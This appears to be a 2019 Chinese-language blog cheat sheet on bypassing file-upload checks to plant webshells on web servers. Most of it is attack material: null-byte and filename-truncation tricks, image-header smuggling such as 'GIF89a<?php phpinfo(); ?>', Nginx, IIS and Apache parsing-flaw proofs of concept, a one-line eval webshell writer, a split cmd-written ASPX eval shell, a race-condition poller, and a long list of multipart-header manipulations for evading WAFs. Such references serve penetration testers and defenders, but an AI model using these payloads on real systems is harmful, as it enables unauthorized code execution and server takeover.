文件上传

CVE

PHPCMS9.6.0

富文本编辑器 - FCK

 

常见文件处理函数

JavaScript

indexOf()
lastIndexOf()

PHP

include()
include_once()
require()
require_once()
file_exists()
is_file()
file_ext() 
unlink()
rename()
trim()
stripcslashes() 
htmlspecialchars()
strlen()
in_array() /
strpos() 
strrpos() 
file_get_contents()
readfile()
fopen()
is_dir()
mkdir()
getimagesize()
str_ireplace()
getReailFileType()
fread()
fclose()
unpack()
image_type_to_extension()
basename()
strrchr()
move_uploaded_file() //cve-2015-2348 --Post请求00截断
strtolower()
substr()
imagecreatefromjpeg()
imagecreatefrompng()
imagecreatefromgif()
srand() 
rand()
strval() //PHP 4, PHP 5, PHP 7
imagejpeg()
date()
pathinfo()
explode()
end() 
current()
next()
prev()
reset()
each()

exif_imagetype(PHP 4 >= 4.3.0, PHP 5, PHP 7) - 常见图像类型常量

IMAGETYPE_GIF 
IMAGETYPE_JPEG 
IMAGETYPE_PNG
IMAGETYPE_SWF
IMAGETYPE_PSD
IMAGETYPE_BMP
IMAGETYPE_TIFF_II(Intel 字节顺序)
IMAGETYPE_TIFF_MM(Motorola 字节顺序)
IMAGETYPE_JPC 
IMAGETYPE_JP2 
IMAGETYPE_JPX
IMAGETYPE_JB2 
IMAGETYPE_SWC 
IMAGETYPE_IFF 
IMAGETYPE_WBMP
IMAGETYPE_XBM

伪协议

file:// 
http:// 
ftp:// 
php:// 
zlib:// 
data:// 
glob:// 
phar:// 
ssh2:// 
rar:// 
ogg:// 
expect:// 

 

MIME

扩展名    文档类型    MIME 内容类型
.aac    AAC audio    audio/aac
.abw    AbiWord document    application/x-abiword
.arc    Archive document (multiple files embedded)    application/x-freearc
.avi    AVI: Audio Video Interleave    video/x-msvideo
.azw    Amazon Kindle eBook format    application/vnd.amazon.ebook
.bin    Any kind of binary data    application/octet-stream
.bmp    Windows OS/2 Bitmap Graphics    image/bmp
.bz    BZip archive    application/x-bzip
.bz2    BZip2 archive    application/x-bzip2
.csh    C-Shell script    application/x-csh
.css    Cascading Style Sheets (CSS)    text/css
.csv    Comma-separated values (CSV)    text/csv
.doc    Microsoft Word    application/msword
.docx    Microsoft Word (OpenXML)    application/vnd.openxmlformats-officedocument.wordprocessingml.document
.eot    MS Embedded OpenType fonts    application/vnd.ms-fontobject
.epub    Electronic publication (EPUB)    application/epub+zip
.gif    Graphics Interchange Format (GIF)    image/gif
.htm
.html    HyperText Markup Language (HTML)    text/html
.ico    Icon format    image/vnd.microsoft.icon
.ics    iCalendar format    text/calendar
.jar    Java Archive (JAR)    application/java-archive
.jpeg
.jpg    JPEG images    image/jpeg
.js    JavaScript    text/javascript
.json    JSON format    application/json
.jsonld    JSON-LD format    application/ld+json
.mid
.midi    Musical Instrument Digital Interface (MIDI)    audio/midi audio/x-midi
.mjs    JavaScript module    text/javascript
.mp3    MP3 audio    audio/mpeg
.mpeg    MPEG Video    video/mpeg
.mpkg    Apple Installer Package    application/vnd.apple.installer+xml
.odp    OpenDocument presentation document    application/vnd.oasis.opendocument.presentation
.ods    OpenDocument spreadsheet document    application/vnd.oasis.opendocument.spreadsheet
.odt    OpenDocument text document    application/vnd.oasis.opendocument.text
.oga    OGG audio    audio/ogg
.ogv    OGG video    video/ogg
.ogx    OGG    application/ogg
.otf    OpenType font    font/otf
.png    Portable Network Graphics    image/png
.pdf    Adobe Portable Document Format (PDF)    application/pdf
.ppt    Microsoft PowerPoint    application/vnd.ms-powerpoint
.pptx    Microsoft PowerPoint (OpenXML)    application/vnd.openxmlformats-officedocument.presentationml.presentation
.rar    RAR archive    application/x-rar-compressed
.rtf    Rich Text Format (RTF)    application/rtf
.sh    Bourne shell script    application/x-sh
.svg    Scalable Vector Graphics (SVG)    image/svg+xml
.swf    Small web format (SWF) or Adobe Flash document    application/x-shockwave-flash
.tar    Tape Archive (TAR)    application/x-tar
.tif
.tiff    Tagged Image File Format (TIFF)    image/tiff
.ttf    TrueType Font    font/ttf
.txt    Text, (generally ASCII or ISO 8859-n)    text/plain
.vsd    Microsoft Visio    application/vnd.visio
.wav    Waveform Audio Format    audio/wav
.weba    WEBM audio    audio/webm
.webm    WEBM video    video/webm
.webp    WEBP image    image/webp
.woff    Web Open Font Format (WOFF)    font/woff
.woff2    Web Open Font Format (WOFF)    font/woff2
.xhtml    XHTML    application/xhtml+xml
.xls    Microsoft Excel    application/vnd.ms-excel
.xlsx    Microsoft Excel (OpenXML)    application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xml    XML    application/xml 代码对普通用户来说不可读 (RFC 3023, section 3)
text/xml 代码对普通用户来说可读 (RFC 3023, section 3)
.xul    XUL    application/vnd.mozilla.xul+xml
.zip    ZIP archive    application/zip
.3gp    3GPP audio/video container    video/3gpp
audio/3gpp(若不含视频)
.3g2    3GPP2 audio/video container    video/3gpp2
audio/3gpp2(若不含视频)
.7z    7-zip archive    application/x-7z-compressed

 

系统特性

windows

7hang.php[空格]

7hang.php.

7hang.php:1.jpg

7hang.php::$DATA

7hang.php::$DATA......

. | /. | ./ 截断系统文件路径长度限制(windows 259bytes | linux 4096bytes)

 

Linux

7hang.phP

 

语言特性

PHP5.2.x
%00截断文件

PHP<v5.3.4

7hang.php%00.jpg
test.php(0x00).jpg
7hang.php .jpg” -> 空格由20改成00

PHP<5.4
前置条件:使用iconv()函数
7hang.php(hex).jpg(hex范围:0×80-0×99) 
 

前端校验

 双文件上传

修改前端代码,第一个上传正常文件,第二个选择一句话木马
<form enctype="multipart/form-data" method="post" action="http://pai.xx.com/server/">
<input type="file" name="files[]" />
<input type="file" name="files[]" />
<input type="submit">
</form>

 

文件内容

 图片马

上传 xxx.jpg
利用PHP语言特性修改图片马后缀(如7hang.asp[空格]xxx.jpg)

 

文件包含 | 语言特性(Java反射调用外部jar包)

文件包含
1.上传 7hang.txt 2.上传 .php/asp/jsp的文件 PHP <?php Include("txt文件路径");?> ASP <!--#include file="txt文件路径" --> JSP <jsp:inclde page="txt文件路径"/><%@include file="txt文件路径"%>

内容替换

Runtime.getRuntime().exec()  -> ProcessBuilder()  -> 可绕过 YxlinkWAF 
fileOutputStream() -> RandomAccessFile()

循序渐进

写cmdshell
windows cmd 拆分 eval
>>[Paht]\7hang.aspx set/p=^<%@ Page Language="Jscript"%^>
>>[Paht]\7hang.aspx set/p=^<%ev
>>[Paht]\7hang.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64)
写Webshell

文件内容-图片检测-getimagesize()

添加图片二进制数据

文件内容-文件加载-渲染

代码注入

 文件内容-文件加载-二次渲染

需具体分析文件加载器

 

常见文件头

.JPEG;.JPE;.JPG,”JPGGraphic File”
.gif,”GIF 89A”
.zip,”Zip Compressed”
.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

 

文件头绕过

GIF89a<?php phpinfo(); ?> 

 

文件类型

修改content-type值

 

常见文件后缀名

php\php2\php3\php5\phtml\pht  asp\asa\cer\cdx   aspx\asmx\ascx\ashx\asac\cshtml   jsp\jspx\jspf exe\exee

 

服务器文件特性

Apache

.htaccesss文件
SetHandler application/x-httpd-php

 .user.ini文件

 

服务器解析特性

IIS
IIS5.x-IIS6.x - 修改"name"参数值为文件类型,下方内容为:xxx.asp -> 可创建 xxx.asp文件夹(具体需要看代码逻辑)
/xx.asp/xx.jpg  -> IIS5.x-IIS6.x ->目录解析(需要能控制文件上传路径)- 该IIS版本多为asp站点
7hang.asp;.jpg -> IIS5.x-IIS6.x -> 文件解析 - 该IIS版本多为asp站点


Nginx

Nginx空字节代码执行漏洞

影响版本 Nginx 0.5.* Nginx 0.6.* Nginx 0.7 <= 0.7.65

Nginx 0.8 <= 0.8.37

POC

7hang.jpg%00.php

 

影响版本 Nginx 0.8.41 – 1.5.6

POC

jpg%20%00.php

 

前置条件:cgi.fix_pathinfo为开启状态(默认)

xxx.jpg/xxx.php xxx.jpg%00.php xxx.jpg/%20\xxx.php

 

发现者:08sec

前置条件:Nginx Fast-CGI为开启状态

POC

xxx.jpg(内容:<?PHP fputs(fopen('7hang.php','w'),'<?php eval($_POST[cmd])?>');?>) -> 访问xxx.jpg/.php 触发

 

 

Apache

xxx.php.7hang -> 利用Apache解析规则

AddHandler php5-script .php -> 任意文件名中包含'.php'即被当成php文件解析(修改Apache配置文件)

AddType application/x-httpd-php .xxx -> 扩展名为'xxx' 会被当成php文件解析(修改Apache配置文件)

 

文件幻数

JFIF    FF D8 FF E0 00 10 4A 46 49 46 
GIF89a  47 49 46 38 39 61 
PNG     89 50 4E 47

 

代码逻辑问题

%00路径截断(get请求)| 00十六进制截断(post请求) + 白名单检测绕过

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

条件竞争 

检测

import requests
url = [host]/[Shell_Path]/[Shell_Name]
while True:
    html = requests.get(url)
    if html.status_code == 200:
    print("success")
    break

save_name取数组值

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

 

Waf绕过

文件头部字段修改/HTTP请求方式切换
filename字段
a.文件名前缀xxx.和文件名后缀如php/jsp用换行符拆分
filename="aaa.
php"
b.文件名后缀用换行符拆分
filename="aaa.p
hp"
c.filename与文件名之间用多个等号
filename=="aaa.php"
filename==="aaa.php"
d.文件名后缀添加一个双引号
filename="aaa.php""
e.00截断 filename="aaa.php%00"
f.文件名前缀和文件名后缀之间用分号拆分
filename="aaa;.php"
g.文件名前缀加一个单引号
filename="aaa'.php"
h. 文件名前缀和文件名后缀之间用"\np\nh\np"拆分 (2020西湖论剑宝塔waf绕过姿势)
filename="aaa.
p
h
p"
i.文件名后缀用oa值污染绕过
filename=aaa.pphp -> pphp中的第二个p用hex编码的0a替换
j.
上传.htaccess文件修改中间件解析属性
k.去掉文件名前后的双引号
filename=aaa.php
l.文件名前后的双引号切换为单引号
filename='aaa.php'
m.大小写转换
filename -> FileName
n.增加一个filename
filename="aaa.txt";filename="aaa.php"

POST/GET转换

Conten-Type字段 
a.- 删除
b.大小写转换
Content-Type -> content-type
c.multipart/form-data中data修改为大写
multipart/form-data -> multipart/form-DATA
d.boundary字段前添加污染字符
boundary -> aaaboundary Content-Disposition字段
a.删除其中的form-data字段
b.切换name和filename位置
c.filename字段换行
filename="aaa.php" ->
file
name="aaa" 或
fi
lename="aaa.php"(PHP支持)
d.name和filename之间添加污染数据
name="xxx";bypass;filename="aaa.php" Boundary字段
a.后面加一个空格
b.增加一个shell boundary
NTFS ADS特性 name字段
a.去掉参数前后的双引号name=xxx
b.参数前后的双引号改为单引号
name='xxx'
c.大小写转换
name->Name
d.字段值末尾添加多个分号
name="id";;;filename="aaa.php"

组合方式绕过
a.filename和name中的字段值同时去掉双引号|不要引号|切换为单引号

文件内容检测 绕过

a.zang数据填充 
b.deskop.ini污染
c.多次url编码绕过
d.<%%>绕过

 

 

 

waf规则源码参考

https://github.com/openresty/lua-resty-upload/

 

参考性文章

https://c1y2m3.github.io/c1y2m3.github.io/2019/04/04/15543609538285/

 

 

 

 

posted @ 2019-08-09 10:27  7hang  阅读(588)  评论(0编辑  收藏  举报